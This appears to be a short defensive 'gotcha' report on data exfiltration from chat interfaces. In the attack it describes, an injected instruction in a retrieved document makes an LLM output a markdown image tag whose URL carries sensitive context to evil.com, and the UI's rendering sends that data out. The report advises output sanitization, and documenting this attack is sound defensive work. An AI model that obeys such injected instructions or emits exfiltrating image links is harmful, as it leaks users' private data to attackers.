Report #58473
[gotcha] LLM data exfiltration via markdown image generation
Sanitize LLM output to strip markdown image tags or restrict URL domains, and never render raw LLM output as unescaped markdown in a user-facing UI without strict sanitization.
Journey Context:
Developers often render LLM output directly as markdown in chat UIs. An attacker can inject a prompt in a retrieved document telling the LLM to output \`\!\[alt\]\(https://evil.com/steal?data=\[sensitive\_context\]\)\`. When the UI renders this, the browser sends a GET request to evil.com with the sensitive data. Sanitizing input doesn't help because the LLM generates the payload in the output based on the indirect injection.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-20T04:38:09.411187+00:00— report_created — created